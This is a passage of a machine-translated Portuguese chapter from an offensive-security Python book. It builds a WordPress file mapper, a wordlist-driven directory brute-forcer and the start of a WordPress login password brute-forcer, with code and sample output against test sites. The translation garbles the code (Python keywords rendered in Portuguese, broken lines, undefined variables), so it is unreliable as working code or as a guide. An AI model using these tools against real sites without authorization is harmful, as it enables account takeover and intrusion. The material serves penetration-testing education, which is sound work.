Forçar a Autenticação do Formulário HTML" na página 85.

Os pacotes lxml e BeautifulSoup


Uma vez que você tenha uma resposta HTTP, a idade do pacote lxml ou
BeautifulSoup pode ajudá-lo a analisar o conteúdo. Nos últimos anos,
estes dois pacotes se tornaram mais similares; você pode usar o analisador
lxml com o pacote BeautifulSoup, e o analisador BeautifulSoup com o
pacote lxml.

Hackery na Web 77
Você verá códigos de outros hackers que usam um ou outro. A idade do
pacote lxml fornece um analisador ligeiramente mais rápido, enquanto o
pacote BeautifulSoup tem lógica para detectar automaticamente a
codificação da página HTML alvo. Nós usaremos o pacote lxml aqui. Instale
qualquer um dos pacotes com pip:

instalar pip lxml


pip instala linda sopa4

Suponha que você tenha o conteúdo HTML de uma solicitação


armazenado em uma variável chamada conteúdo. Usando lxml, você poderia
recuperar o conteúdo e analisar os links da seguinte forma:

1 de io import BytesIO
de lxml import etree

pedidos de importação

url = 'https://nostarch.com
2 r = requests.get(url) # GET
conteúdo = r.content# conteúdo é do tipo 'bytes'.

parser = etree.HTMLParser()
3 content = etree.parse(BytesIO(content), parser=parser) # Parse em árvore
4 para link em content.findall('//a'): # encontrar todos os elementos "a" de
âncora.
5 print(f"{link.get('href')}} -> {link.text}")

Importamos a classe BytesIO do módulo 1 do io porque vamos precisar dela


para usar uma string de bytes como um objeto de arquivo quando
analisarmos a resposta HTTP. Em seguida, executamos a solicitação GET
como de costume 2 e depois usamos o analisador HTML lxml para analisar
a resposta. O analisador espera um objeto tipo arquivo ou um arquivo...
nome. A classe BytesIO nos permite usar o conteúdo de bytes retornados
como um objeto semelhante a um arquivo para passar para o analisador
lxml 3. Usamos uma simples consulta para encontrar todas as tags
(âncora) que contêm links no conteúdo 4 retornado e imprimir os
resultados. Cada tag de âncora define um link. Seu atributo href especifica...
veda a URL do link.
Observe o uso do f-string 5 que realmente faz a escrita. Em Python
3.6 e mais tarde, você pode usar f-strings para criar cordas contendo variável val-
ues dentro de aparelhos. Isto permite que você faça facilmente coisas como
incluir o resultado de uma chamada de função (link.get('href')) ou um valor
simples (link.text) em sua cadeia de caracteres.
Usando o BeautifulSoup, você pode fazer o mesmo tipo de análise com este
código. Como você pode ver, a técnica é muito semelhante ao nosso último
exemplo usando lxml:
78 Capítulo 5
da bs4 importar BeautifulSoup
como bs pedidos de importação
url = 'http://bing.com' r
= requests.get(url)
1 árvore = bs(r.text, 'html.parser') # Parse em árvore
2 para link em tree.find_all('a'): # encontrar todos os elementos "a" de âncora.
3 print(f"{link.get('href')}} -> {link.text}")

Hackery na Web 79
A sintaxe é quase idêntica. Nós dividimos o conteúdo em uma árvore
1, iteramos sobre os links (a, ou âncora, tags) 2, e imprimimos o alvo
(atributo href) e o texto do link (link.text) 3.
Se você estiver trabalhando a partir de uma máquina comprometida,
você provavelmente evitará
instalando estes pacotes de terceiros para evitar fazer muito barulho de
trabalho na rede, então você está preso com o que quer que tenha em
mãos, que pode ser uma instalação Python 2 ou Python 3 de ossos nus. Isso
significa que você usará a biblioteca padrão (urllib2 ou urllib,
respectivamente).
Nos exemplos que se seguem, assumimos que você está em sua caixa
de ataque, o que significa que você pode usar o pacote de solicitações
para contatar servidores web e lxml para analisar a saída que você
recupera.
Agora que você tem os meios fundamentais para falar com serviços e
websites, vamos criar algumas ferramentas úteis para qualquer ataque ou
teste de penetração de aplicativos web.

Mapeamento de instalações de aplicações Web de código


aberto
Sistemas de gerenciamento de conteúdo (CMSs) e plataformas de blogs
como Joomla, WordPress e Drupal tornam simples iniciar um novo blog ou
website, e são relativamente comuns em um ambiente de hospedagem
compartilhada ou mesmo em uma rede corporativa. Todos os sistemas têm
seus próprios desafios em termos de i n s t a l a ç ã o , configuração e
gerenciamento de patches, e estas suítes de CMS não são exceção.
Quando um administrador de sistema sobrecarregado ou um
desenvolvedor web desafortunado não segue todos os procedimentos
de segurança e instalação, pode ser fácil para um atacante obter acesso
ao servidor web.
Como podemos baixar qualquer aplicativo web de código aberto e
determinar localmente sua estrutura de arquivos e diretórios, podemos
criar um scanner construído propositalmente que pode caçar todos os
arquivos que são alcançáveis no alvo remoto. Isto pode erradicar os
arquivos de instalação remanescentes, diretórios que devem ser pró-
técnicos por arquivos .htaccess, e outras coisas que podem ajudar um atacante
a obter um apoio no servidor web.
Este projeto também apresenta o uso de objetos Python Queue, que nos
permitem construir uma pilha grande e segura de itens e ter vários itens de
coleta de fios para processamento. Isto permitirá que nosso scanner funcione
muito rapidamente. Além disso, podemos confiar que não teremos condições
de corrida, uma vez que estamos usando uma fila, que é segura para os fios,
em vez de uma lista.

Mapeando a estrutura do WordPress


Suponha que você saiba que seu alvo de aplicação web usa a estrutura do
80 Capítulo 5
WordPress. Vamos ver como é uma instalação de WordPress. Faça o
download e descompacte uma cópia local do WordPress. Você pode obter a
versão mais recente em https://wordpress
.org/download/. Aqui, estamos usando a versão 5.4 do WordPress. Mesmo
que o layout do arquivo possa diferir do servidor ao vivo que você está
buscando, ele nos fornece um ponto de partida razoável para encontrar
arquivos e diretórios presentes na maioria das versões.

Hackery na Web 81
Para obter um mapa dos diretórios e nomes de arquivos que vêm em
uma distribuição WordPress padrão, crie um novo arquivo chamado
mapper.py. Vamos escrever uma função chamada gather_paths para
percorrer a distribuição, inserindo cada caminho de arquivo completo em
uma fila chamada web_paths:

contexto de
importação os
fila de
importação
solicita o
tempo de
importação do
sistema de
importação em
fila de
importação

FILTERED = [".jpg", ".gif", ".png", ".css"]


1 META = "http://boodelyboo.com/wordpress
LINHAS = 10

respostas =
fila.Queue()
2 web_paths = fila.queue()

def gather_paths():
3 para root, _, arquivos em
os.walk('.'): para fname in
files:
se os.path.splitext(fname)[1] em
FILTERED: continuar
path = os.path.join(root, fname)
se path.startwith('.'):
caminho =
caminho[1:]
print(path)
web_paths.put(pat
h)

@contextlib.contextmanager
4 def
chdir(cami
nho): """

82 Capítulo 5
Ao entrar, mude o diretório para o caminho
especificado. Ao sair, mude o diretório de
volta ao original. """
this_dir = os.getcwd()
os.chdir(path)
tente:
5 final
mente,
render-
se:
6 os.chdir(este_dir)

se nome == ' principal ':


7 com
chdir("/home/time/Downloads/wordpr
ess"): gather_paths()
input('Press return to continue.')

Começamos definindo o site alvo remoto 1 e criando uma lista de


extensões de arquivo que não nos interessam as impressões digitais. Esta
lista pode ser diferente, dependendo da aplicação alvo, mas neste caso
escolhemos

Hackery na Web 83
para omitir imagens e arquivos de estilo. Em vez disso, estamos visando
arquivos HTML ou de texto, que são mais propensos a conter informações úteis
para comprometer o servidor. A variável respostas é o objeto Queue onde
vamos colocar o arquivo...
caminhos que localizamos localmente. A variável web_paths 2 é um segundo
objeto da fila onde armazenaremos os arquivos que tentaremos localizar no
servidor remoto. Dentro da função gather_paths, usamos a função os.walk 3
para caminhar por todos os arquivos e diretórios na aplicação web local
direcionada...
tory. À medida que percorremos os arquivos e diretórios, construímos os
caminhos completos até os arquivos alvo e os testamos em relação à lista
armazenada no FILTERED para ter certeza de que estamos procurando
apenas os tipos de arquivos que queremos. Para cada arquivo válido que
encontramos localmente, adicionamo-lo à fila da variável web_paths.
O gerente de contexto 4 da chdir precisa de um pouco de explicação.
O contexto homem-agers fornece um padrão de programação legal,
especialmente se você estiver esquecido ou
tem muita coisa para acompanhar e quer simplificar sua vida. Você os
achará úteis quando você tiver aberto algo e precisar fechá-lo, trancar algo
e precisar liberá-lo, ou mudar algo e precisar reinicializá-lo. Você
provavelmente está familiarizado com gerentes de arquivos embutidos
como abrir para abrir um arquivo ou soquete para usar um soquete.
Geralmente, você cria um gerente de contexto ao criar uma classe com o
métodos de entrada e saída. O método enter retorna o recurso que
precisa ser gerenciado (como um arquivo ou soquete), e o método exit
realiza as operações de limpeza (fechamento de um arquivo, por exemplo).
Entretanto, em situações onde você não precisa de tanto controle,
você pode usar o @contextlib.contextmanager para criar um gerenciador
de contexto simples que converte uma função geradora em um
gerenciador de contexto.
Esta função chdir permite que você execute o código dentro de um
diretório direcional diferente e garante que, ao sair, você será devolvido ao
diretório original. A função gerador de chdir inicializa o contexto salvando o
diretório original e mudando para o novo diretório, produz o controle de
volta para
gather_paths 5, e depois reverte para o diretório original 6.
Observe que a definição da função chdir contém tentativa e finalmente
bloqueios.
Você encontrará frequentemente declarações de tentativa/exceção, mas o
par tentativa/finalidade é menos comum. O último bloco é sempre
executado, independentemente de quaisquer exceções levantadas.
Precisamos disto aqui porque, não importa se a mudança de diretório tenha
sucesso, queremos que o contexto reverta para o diretório original. Um
exame de brinquedo - ple do bloco de tentativa mostra o que acontece para
cada caso:

84 Capítulo 5
tente:
algo_ que_pode_causar_um_erro()
exceto SomeError como e:
imprimir(e) # mostrar o erro no console
dosomethingelse() # tomar alguma ação
alternativa
senão:
everything_is_fine() # isto só será executado se a tentativa for
finalmente bem sucedida:
limpeza() # isto é executado não importa o que

Hackery na Web 85
Voltando ao código de mapeamento, você pode ver no bloco principal
que você usa o gerenciador de contexto chdir dentro de um com a instrução
7, que chama o gerador com o nome do diretório no qual executar o código.
Em
este exemplo, nós passamos no local onde descompactamos o arquivo ZIP do
WordPress. Este local será diferente em sua máquina; certifique-se de passar
em seu próprio local. A entrada da função chdir salva o nome do diretório
atual e muda o diretório de trabalho para o caminho especificado como o
argu- ment para a função. Em seguida, o controle volta ao fio principal da exe-
cução, que é onde a função gather_paths é executada. Uma vez concluída a
função gather_paths, saímos do gerenciador de contexto, a cláusula final é
executada, e o diretório de trabalho é restaurado ao local original.
Você pode, naturalmente, usar os.chdir manualmente, mas se você
esquecer de desfazer a mudança, você encontrará seu programa executando
em um lugar inesperado. Ao usar seu novo gerenciador de contexto chdir,
você sabe que está trabalhando automaticamente no contexto correto e que,
quando você retorna, está de volta ao local onde estava antes. Você pode
manter esta função de gerenciador de contexto em suas utilidades e usá-la
em seus outros scripts. Passar o tempo escrevendo funções utilitárias limpas
e compreensíveis como esta paga dividendos mais tarde, já que você as usará
repetidamente.
Execute o programa para descer a hierarquia de distribuição do WordPress -
chy e veja os caminhos completos impressos para o console:

(bhp) tim@kali:~/bhp/bhp$ python mapper.py


/licença.txt
/wp-settings.php
/xmlrpc.php
/wp-login.php
/wp-blog-header.php
/wp-config-sample.php
/wp-mail.php
/wp-signup.php
--snip--
/readme.html
/wp-inclui/class-requests.php
/wp-inclui/media.php
/wp-inclui/wlwmanifest.xml
/wp-includes/ID3/readme.txt
--snip--
/wp-content/plugins/akismet/_inc/form.js
/wp-content/plugins/akismet/_inc/akismet.js

A imprensa retorna para continuar.

Agora a fila da nossa variável web_paths está cheia de caminhos para


verificação. Você pode ver que obtivemos alguns resultados interessantes:
caminhos de arquivos presentes na instalação local do WordPress que
podemos testar contra um aplicativo WordPress alvo ao vivo, incluindo arquivos
86 Capítulo 5
.txt, .js, e .xml. É claro que você pode construir inteligência adicional no
script para retornar apenas arquivos que lhe interessam, tais como
arquivos que contêm a palavra instalar.

Hackery na Web 87
Testando o Alvo Vivo
Agora que você tem os caminhos para os arquivos e diretórios do WordPress,
é hora de fazer alguma coisa com eles - nomedamente, teste seu alvo remoto
para ver quais dos arquivos encontrados em seu sistema de arquivos local
estão realmente instalados no alvo.
Estes são os arquivos que podemos atacar em uma fase posterior, para
forçar um login ou investigar por erros de configuração. Vamos adicionar a
função test_remote ao arquivo mapper.py:

def test_remote():
1 enquanto não web_paths.empty():
2 caminho =
web_paths.get() url =
f'{TARGET}{path}'
3 time.sleep(2) # seu alvo pode ter
estrangulamento/trava. r = pedidos.get(url)
se r.status_code == 200:
4 answers.put(url)
sys.stdout.write('+')
senão:
sys.stdout.write('x')
sys.stdout.flush()

A função teste_remote é o cavalo de batalha do cartógrafo. Ela


opera em um loop que continuará executando até que a fila da variável
web_paths esteja vazia 1. Em cada iteração do loop, pegamos um
caminho da Fila 2,
adicioná-lo ao caminho base do site alvo, e depois tentar recuperá-lo. Se nós
obter um sucesso (indicado pelo código de resposta 200), colocamos essa
URL na fila de respostas 4 e escrevemos um + no console. Caso contrário,
escrevemos um x no console e continuamos o loop.
Alguns servidores web bloqueiam você se você os bombardear com
pedidos. É por isso que usamos um tempo.de sono de dois segundos 3
para esperar entre cada pedido, o que, esperamos, retarda o ritmo de
nossos pedidos o suficiente para contornar
uma regra de lockout.
Quando você souber como um alvo responde, você pode remover as
linhas que escrevem para o console, mas quando você estiver tocando o alvo
pela primeira vez, escrevendo aquelas
+ e x caracteres no console o ajuda a entender o que está acontecendo
enquanto você faz seu teste.
Finalmente, escrevemos a função run como o ponto de entrada para a
aplicação mapper:

def run():
mitos = lista()

80 Capítulo 5
1 para i na faixa (THREADS):
print(f'Spawning thread {i}')
2 t=
threading.Thread(target=test_remote)
mythreads.append(t)
t.start()

para roscas em mitos:


3 thread.join()

Hackery na Web 81
A função run orquestra o processo de mapeamento, chamando os func-
tionados acabados de definir. Iniciamos 10 threads (definidos no início do
script) 1 e fazemos com que cada thread execute a função test_remote
2. Nós então
esperar que todas as 10 roscas sejam completadas (usando thread.join) antes de
retornar 3.
Agora, podemos terminar adicionando um pouco mais de lógica ao bloco
principal.
Substitua o bloco principal original do arquivo por este código atualizado:
se nome == ' principal ':
1 com
chdir("/home/time/Downloads/wordpr
ess"): gather_paths()
2 input('Press return to continue.')

3 run()
4 com open('myanswers.txt', 'w')
como f: enquanto não
responde.empty():
f.write(f'{answers.get()}\n')
print('done')

Usamos o gerenciador de contexto chdir 1 para navegar até o


diretório correto antes de chamarmos o gather_paths. Acrescentamos uma
pausa lá, caso queiramos rever a saída do console antes de continuar 2.
Neste ponto, nós temos - ered os interessantes caminhos de arquivo de
nossa instalação local. Em seguida, executamos a tarefa principal de
mapeamento 3 contra a aplicação remota e escrevemos as respostas para
um arquivo. Provavelmente receberemos um monte de pedidos bem
sucedidos, e quando imprimirmos
os URLs de sucesso para o console, os resultados podem passar tão
rápido que não conseguiremos acompanhar. Para evitar isso, acrescente
um bloco 4 para escrever os resultados em um arquivo. Observe o
método do gerenciador de contexto para abrir um arquivo. Isto garante
que o arquivo fecha quando o bloco é terminado.

Chutando os Pneus
Os autores mantêm um site por perto apenas para testes (boodelyboo.com/),
e é isso que visamos neste exemplo. Para seus próprios testes, você pode
criar um site para jogar, ou você pode instalar o WordPress em sua Kali VM.
Note que você pode usar qualquer aplicativo web de código aberto que seja
rápido de implantar ou que já esteja rodando. Quando você executa o
mapper.py, você deve ver uma saída como esta:

Piracica linha 0
ba
Piracica linha 1
ba
82 Capítulo 5
Piracica linha 2
ba
Piracica linha 3
ba
Piracica linha 4
ba
Piracica linha 5
ba
Piracica linha 6
ba
Piracica linha 7
ba
Piracica linha 8
ba
Piracica linha 9
ba
++x+x+++x+x++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++

Hackery na Web 83
Quando o processo estiver concluído, os caminhos pelos quais você
teve sucesso estão listados no novo arquivo myanswers.txt.

Diretórios de Força Bruta e Localização de Arquivos


O exemplo anterior pressupunha muito conhecimento sobre seu alvo. Mas
quando você está atacando uma aplicação web personalizada ou um grande
sistema de comércio eletrônico, muitas vezes você não estará ciente de
todos os arquivos acessíveis no servidor web. Geralmente, você implantará
uma aranha, como a incluída no Burp Suite, para rastejar o site alvo a fim de
descobrir o máximo possível da aplicação web. Mas em muitos casos, você
vai querer obter arquivos de configuração, sobras de arquivos de
desenvolvimento, scripts de depuração e outras migalhas de segurança que
podem fornecer informações sensíveis ou expor funcionalidades que o
desenvolvedor do software não pretendia. A única maneira de descobrir este
conteúdo é usar uma ferramenta de força bruta para caçar nomes de
arquivos e diretórios comuns.
Construiremos uma ferramenta simples que aceitará listas de palavras de
forcadores brutos comuns, tais como o projeto gobuster
(https://github.com/OJ/gobuster/) e o SVNDigger
(https://www.netsparker.com/blog/web-security/svn-digger-better-lists
-forced-browsing/), e tentar descobrir diretórios e arquivos que sejam
acessíveis no servidor web alvo. Você encontrará muitas listas de palavras
disponíveis na Internet, e você já tem muitas em sua distribuição Kali (veja
/usr/share/wordlists). Para este exemplo, utilizaremos uma lista da SVNDigger. Você
pode recuperar os arquivos para o SVNDigger da seguinte forma:

cd ~/Downloads
wget https://www.netsparker.com/s/research/SVNDigger.zip
unzip SVNDigger.zip

Quando você descompactar este arquivo, o arquivo all.txt estará em seus


Downloads
diretório.
Como antes, criaremos um pool de fios para tentar agressivamente des-
cobrir o conteúdo. Vamos começar criando alguma funcionalidade para criar
uma Fila de espera a partir de um arquivo de lista de palavras. Abra um novo
arquivo, nomeie-o bruter.py, e digite o código a seguir:

fila de
importação
solicita o
sistema de
importação por
fila de
importação

84 Capítulo 5
AGENTE = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101
Firefox/19.0" EXTENSÕES = ['.php', '.bak', '.orig', '.inc']
OBJETIVO =
"http://testphp.vulnweb.com" LINHAS =
50
WORDLIST = "/home/time/Downloads/all.txt"

1 def get_words(resume=None):

2 def
extend_words(wo
rd): se "." em
palavra:

Hackery na Web 85
words.put(f'/{word}')
else:
3 words.put(f'/{word}/')

para extensão em EXTENSÕES:


words.put(f'/{word}{extension}')

com a lista aberta (WORDLIST) como f:


4 palavras_brutas = f.read()

found_resume = False
words =
queue.Queue()
por palavra em raw_words.split():
5 se o currículo não for
Nenhum: se
encontrado_resu
me:
extend_words(word
) elif word == resume:
found_resume = Verdadeiro
print(f'Resuming wordlist from: {resume}')
senão:
print(word)
extend_words(word
)
6 palavras de retorno

A função get_words helper function 1, que retorna as palavras fila que


vamos testar no alvo, contém algumas técnicas especiais. Lemos em um
arquivo de lista de palavras 4 e depois começamos a iterar sobre cada linha
do arquivo. Em seguida, definimos a variável resume para o último caminho
que o brutal forçador tentou 5. Esta funcionalidade nos permite retomar
uma sessão de força bruta se nossa conectividade de rede for
interrompido ou o local alvo cai. Quando analisamos o arquivo inteiro, retornamos
uma fila cheia de palavras para usar em nossa verdadeira função de força bruta 6.
Note que esta função tem uma função interna chamada extend_words 2. Um
A função interna é uma função definida dentro de outra função. Poderíamos ter
escrito fora de get_words, mas como extend_words será sempre
executado no contexto da função get_words, nós o colocamos dentro para
manter os namespaces arrumados e tornar o código mais fácil de entender.
O objetivo desta função interna é aplicar uma lista de extensões para
testar ao fazer pedidos. Em alguns casos, você quer tentar não apenas a
extensão /admin, por exemplo, mas também admin.php, admin.inc, e
admin.html 3. É
pode ser útil aqui para fazer um brainstorming de extensões comuns que os
desenvolvedores possam
86 Capítulo 5
usar e esquecer de remover posteriormente, como .orig e .bak, em cima
das extensões regulares da linguagem de programação. A função interna
extend_words pro-vides esta capacidade, usando estas regras: se a palavra
contém um ponto (.), nós a anexaremos à URL (por exemplo, /test.php);
caso contrário, a trataremos como um nome de diretório (como /admin/ .
Em ambos os casos, acrescentaremos cada uma das possíveis extensões ao
resultado.
Por exemplo, se tivermos duas palavras, test.php e admin, colocaremos as
seguintes palavras adicionais em nossa fila de palavras:
/test.php.bak, /test.php.inc, /test.php.origin, /test.php.php
/admin/admin.bak, /admin/admin.inc, /admin/admin.origin, /admin/admin.php

Hackery na Web 87
Agora, vamos escrever a principal função de força bruta:
def dir_bruter(words):
1 cabeçalhos = {'User-Agent':
AGENTE} enquanto não
palavras.vazio():
2 url =
f'{TARGET}{words.get()}' try:
r = requests.get(url, headers=headers)
3 exceto
solicitações.exceções.conexãoError:
sys.stderr.write('x');sys.stderr.flush()
continuar

se r.status_code == 200:
4 print(f'\nSuccess ({r.status_code}: {url})')
elif r.status_code == 404:
5 sys.stderr.write('.');sys.stderr.flush()
else:
print(f'{r.status_code} => {url}')

se nome == ' principal ':


6 palavras = get_words()
print('Press return to continue.')
sys.stdin.readline()
para _ na faixa (THREADS):
t = threading.Thread(target=dir_bruter, args=(words,))
t.start()

A função dir_bruter aceita um objeto Queue que é preenchido com


palavras que preparamos na função get_words. Definimos uma string
Usuário-Agente no início do programa para usar na solicitação HTTP de
modo que nossas solicitações pareçam as normais vindas de pessoas legais.
Acrescentamos que
informações nos cabeçalhos da variável 1. Em seguida, fazemos um
loop através da fila de palavras. Para cada iteração, criamos uma URL
com a qual solicitamos na aplicação alvo 2 e enviamos a solicitação
para o servidor web remoto.
Esta função imprime alguma saída diretamente para o console e alguma saída
para stderr. Usaremos esta técnica para apresentar os resultados de forma
flexível. Ela nos permite apresentar diferentes porções de saída, dependendo
do que queremos ver.
Seria bom saber sobre qualquer erro de conexão que obtivermos 3;
imprimir um x para stderr quando isso acontecer. Caso contrário, se tivermos
um sucesso (indicado por um status de 200), imprima a URL completa
para o console 4. Você também poderia criar uma fila e colocar os
resultados lá, como fizemos da última vez. Se tivermos
88 Capítulo 5
uma resposta 404, imprimimos um ponto (.) para stderr e continuamos 5.
Se obtivermos qualquer outro código de resposta, imprimimos também a URL,
porque isto poderia indicar
algo interessante no servidor web remoto. (Isto é, algo além de um erro de
"arquivo não encontrado".) É útil prestar atenção a sua saída porque,
dependendo da configuração do servidor web remoto, você pode ter que
filtrar códigos de erro HTTP adicionais a fim de limpar seus resultados.
No bloco principal, obtemos a lista de palavras para brute-force 6 e
depois giramos um monte de fios para fazer o brute-forcing.

Hackery na Web 89
Chutando os Pneus
O OWASP tem uma lista de aplicações web vulneráveis, tanto online
como offline, tais como máquinas virtuais e imagens de disco, que você
pode testar suas ferramentas contra. Neste caso, a URL referenciada no
código fonte aponta para uma aplicação web intencionalmente buggy
hospedada pelo Acunetix. O legal de atacar estas aplicações é que ela mostra
quão eficaz pode ser a forçagem bruta.
Recomendamos que você defina a variável THREADS para algo são,
como 5, e execute o roteiro. Um valor muito baixo levará muito tempo para
ser executado, enquanto um valor alto pode sobrecarregar o servidor. Em
resumo, você deve começar a ver resultados como os seguintes:

(bhp) tim@kali:~/bhp/bhp$ python


bruter.py Press retorna para continuar.
--snip--
Sucesso (200: http://testphp.vulnweb.com/CVS/)
...............................................
Sucesso (200: http://testphp.vulnweb.com/admin/).
.......................................................

Se você quiser ver apenas os sucessos, já que você usou sys.stderr para
escrever os caracteres x e ponto (.), invoque o script e redirecione stderr
para /dev/ null para que apenas os arquivos que você encontrou sejam
exibidos no console:

python bruter.py 2> /dev/null

Sucesso (200: http://testphp.vulnweb.com/CVS/)


Sucesso (200: http://testphp.vulnweb.com/admin/)
Sucesso (200: http://testphp.vulnweb.com/index.php)
Sucesso (200: http://testphp.vulnweb.com/index.bak)
Sucesso (200: http://testphp.vulnweb.com/search.php)
Sucesso (200: http://testphp.vulnweb.com/login.php)
Sucesso (200: http://testphp.vulnweb.com/images/)
Sucesso (200: http://testphp.vulnweb.com/index.php)
Sucesso (200: http://testphp.vulnweb.com/logout.php)
Sucesso (200: http://testphp.vulnweb.com/categories.php)

Observe que estamos tirando alguns resultados interessantes do site


remoto, alguns dos quais podem surpreendê-lo. Por exemplo, você pode
encontrar arquivos de backup ou trechos de código deixados para trás por
um desenvolvedor web sobrecarregado. O que poderia estar nesse arquivo
index.bak? Com essas informações, você pode remover arquivos que
poderiam proporcionar um fácil comprometimento de sua aplicação.

Autenticação de Formulário HTML Forçado Bruto


Pode chegar um momento em sua carreira de hacking na web em que você

90 Capítulo 5
precise obter acesso a um alvo ou, se você estiver consultando, avaliar a força
da senha em um sistema web existente. Tem se tornado cada vez mais comum
que os sistemas web

Hackery na Web 91
ter proteção de força bruta, seja uma captcha, uma simples equação
matemática ou uma ficha de login que deve ser apresentada com o pedido.
Há um número de forçadores brutos que podem fazer a força bruta de um
pedido de POST para o roteiro de login, mas em muitos casos eles não são
flexíveis o suficiente para lidar com conteúdo dinâmico ou lidar com simples
verificações "você é humano?
Vamos criar um simples forçador bruto que será útil contra o WordPress,
um popular sistema de gerenciamento de conteúdo. Os sistemas WordPress
modernos incluem algumas técnicas básicas contra a força bruta, mas ainda
carecem de bloqueios de conta ou captchas fortes por padrão.
Para poder usar o WordPress com força bruta, nossa ferramenta precisa
atender a duas exigências: recuperar o token oculto do formulário de login antes
de enviar a senha, e garantir que aceitamos cookies em nossa sessão HTTP. O
aplicativo remoto estabelece um ou mais cookies no primeiro contato, e
esperará os cookies de volta em uma tentativa de login. A fim de analisar os
valores do formulário de login, usaremos o pacote lxml introduzido em "Os
pacotes lxml e BeautifulSoup" na página 74.
Vamos começar dando uma olhada no formulário de login do WordPress.
Você pode encontrá-lo navegando para http://<yourtarget>/wp-login.php/.
Você pode usar as ferramentas do seu navegador para "visualizar a fonte"
para encontrar a estrutura HTML. Por exemplo, usando o navegador Firefox,
escolha Tools⏵Web Developer⏵Inspector. Para a estrutura
por uma questão de brevidade, incluímos apenas os elementos relevantes do
formulário:
<form name="loginform" id="loginform"
1 action="http://boodelyboo.com/wordpress/wp-login.php" method="post">
<p>
<label for="user_login">Nome do usuário ou endereço de e-mail</label>
2 <input type="text" name="log" id="user_login" value="" size="20"/>
</p>

<div class="user-pass-wrap">
<label for="user_pass">Password</label>
<div class="wp-pwd">
3 <input type="password" name="pwd" id="user_pass" value=""
size="20" />
</div>
</div>
<p class="submit">
4 <input type="submit" name="wp-submit" id="wp-submit" value="Log
In" />
5 <input type="hidden" name="testcookie" value="1" />
</p>
</form>

Lendo através deste formulário, temos conhecimento de algumas


informações valiosas que precisaremos incorporar ao nosso brutal forçador.
A primeira é que o formulário é submetido ao /wp-login.php path como
um HTTP POST 1. O
Os próximos elementos são todos os campos necessários para que o envio
92 Capítulo 5
do formulário seja bem sucedido: log 2 é a variável que representa o
nome de usuário, pwd 3 é a variável para a senha, wp-submit 4 é a variável
para o envio mas- ton, e testcookie 5 é a variável para um cookie de teste.
Observe que esta entrada está oculta no formulário.

Hackery na Web 93
O servidor também define um par de cookies quando você faz contato com
o formulário, e espera recebê-los novamente quando você postar os dados do
formulário.
Esta é a peça essencial da técnica anti-brute-forcing do WordPress. O site
compara o cookie com sua sessão atual de usuário, portanto, mesmo que
você esteja passando as credenciais corretas no script de processamento de
login, a autenticação falhará se o cookie não estiver presente. Quando um
usuário normal entra no site, o navegador inclui automaticamente o cookie.
Devemos duplicar esse comportamento no programa de força bruta.
Trataremos os cookies de forma automática usando o objeto Session da
biblioteca de solicitações.
Vamos contar com o seguinte fluxo de solicitações em nosso forçador
bruto para ter sucesso contra o WordPress:

1. Recuperar a página de login e aceitar todos os cookies que forem


devolvidos.
2. Analisar todos os elementos do formulário a partir do HTML.

3. Defina o nome de usuário e/ou senha para um palpite de nosso dicionário.


4. Envie um HTTP POST para o script de processamento de login,
incluindo todos os campos do formulário HTML e nossos
cookies armazenados.
5. Teste para ver se conseguimos acessar a aplicação web.

Cain & Abel, uma ferramenta de recuperação de senhas somente para


Windows, inclui uma grande lista de palavras para senhas de força bruta
chamada cain.txt. Vamos usar esse arquivo para nossos palpites de senhas.
Você pode baixá-lo diretamente do repositório GitHub de Daniel Miessler,
SecLists:

wget
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Softwa
re/ cain-and-abel.txt

A propósito, a SecLists também contém muitas outras listas de palavras.


Encorajamos você a navegar pelo repo para seus futuros projetos de hacking.
Você pode ver que vamos utilizar algumas técnicas novas e valiosas -
niques neste roteiro. Mencionaremos também que você nunca deve testar
suas ferramentas em um alvo ao vivo; sempre monte uma instalação de sua
aplicação web de destino com credenciais conhecidas e verifique se você
obtém os resultados desejados.
Vamos abrir um novo arquivo Python chamado wordpress_killer.py e digitar o
código a seguir:

de io importação

94 Capítulo 5
BytesIO de lxml
importação etree de
fila de importação
Queue

importação
solicita sistema
de importação
tempo de
importação de
roscas de
importação

1 SUCESSO = 'Bem-vindo ao WordPress'!


2 TARGET = "http://boodelyboo.com/wordpress/wp-
login.php" WORDLIST =
'/home/tim/bhp/bhp/cain.txt'.

Hackery na Web 95
3 def get_words():
com a lista aberta (WORDLIST) como f:
palavras_brutas = f.read()

palavras = Fila de espera()


para palavra em bruto_words.split():
words.put(word)
palavras de retorno

4 def
get_params(conten
t): params = dict()
parser = etree.HTMLParser()
árvore = etree.parse(BytesIO(content), parser=parser)
5 para elem in tree.findall('//input'): # encontrar todos os
elementos de entrada nome = elem.get('nome')
se o nome não for Nenhum:
params[nome] = elem.get('valor',
Nenhum) params de retorno

Essas configurações gerais merecem um pouco de explicação. O


TARGET vari- capaz 2 é o URL a partir do qual o script irá primeiro
baixar e analisar o HTML. A variável SUCESSO 1 é uma string que
vamos verificar no conteúdo da resposta após cada tentativa de força bruta,
a fim de determinar
se somos ou não bem sucedidos.
A função get_words 3 deve parecer familiar porque usamos uma
forma similar para o forçador bruto em "Diretórios de Força Bruta e
Locais de Arquivos" na página 82. A função get_params 4 recebe o
conteúdo da resposta HTTP, analisa-o e percorre todos os elementos de
entrada 5 para criar um dicionário dos parâmetros que precisamos
preencher. Vamos agora criar
a canalização para nosso brutal forçador; alguns dos códigos a seguir serão
familiares do código dos programas de força bruta anteriores, por isso,
vamos iluminar apenas as técnicas mais recentes.

classe Bruter:
def init (self, username, url):
self.username = username
self.url = url
self.found = Falso
print(f'nBrute Force Attack beginning on {url}.\n') print(f'nBrute
Force Attack begin on {url}.\n') print("Finalizada a configuração
onde username = %s\n" % username)

def run_bruteforce(self, passwords):


para _ na faixa(10):
96 Capítulo 5
t = threading.Thread(target=self.web_bruter, args=(passwords,))
t.start()

def web_bruter(self, passwords):


1 session = requests.session()
resp0 = session.get(self.url)

Hackery na Web 97
params = get_params(resp0.content)
params['log'] = self.username

2 sem senhas.empty() e sem auto.found:


time.sleep(5)
passwd = passwords.get()
print(f'Trying username/password {self.username}/{passwd:<10}')
params['pwd'] = passwd

3 resp1 = session.post(self.url,
data=params) if SUCCESS in
resp1.content.decode():
self.found = True
print(f"\nBruteforcing successful.")
print("Username is %s" %
self.username) print("Password is
%s\n" % brute)
print('done: agora limpando outros fios. ...')

Esta é nossa principal classe de força bruta, que irá lidar com todas
as solicitações HTTP e gerenciar os cookies. O trabalho do método
web_bruter, que realiza o ataque de login de força bruta, prossegue em
